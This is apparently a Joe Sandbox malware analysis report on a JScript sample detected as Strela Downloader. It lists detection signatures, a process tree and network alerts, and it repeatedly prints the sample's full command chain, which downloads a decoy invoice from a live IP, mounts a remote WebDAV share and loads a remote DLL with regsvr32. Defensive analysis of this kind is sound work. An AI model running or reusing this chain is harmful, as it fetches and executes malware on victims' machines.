Edit tour

Windows Analysis Report
27962100941450914990.js

Overview

General Information

Sample name:	27962100941450914990.js
Analysis ID:	1588104
MD5:	5e57a3be6fed74f0945e38f0b681d8e0
SHA1:	28f707c41329732f724de30f19da2642cc5e181d
SHA256:	8272a7428732a3da7717b9f2b49c16ab4c1b0dfbde00c70a6d61f932d65a5f8d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7296 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7384 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7440 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7620 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7836 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1788 --field-trial-handle=1752,i,14332924830377087869,3612148365073113250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7640 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7672 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7940 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7296	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7384, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7440, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7384, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7440, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", ProcessId: 7296, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7672, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 7384, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", ProcessId: 7296, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7384, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7440, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7640, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7672, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7940, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7640, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7672, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27962100941450914990.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7296, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 7384, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:25:07.883810+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49708	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:25:04.743846+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49707	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 27962100941450914990.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 27962100941450914990.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49708 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:25:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: global traffic

TCP traffic: 192.168.2.9:49708 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.9:62860 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.9:58619 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

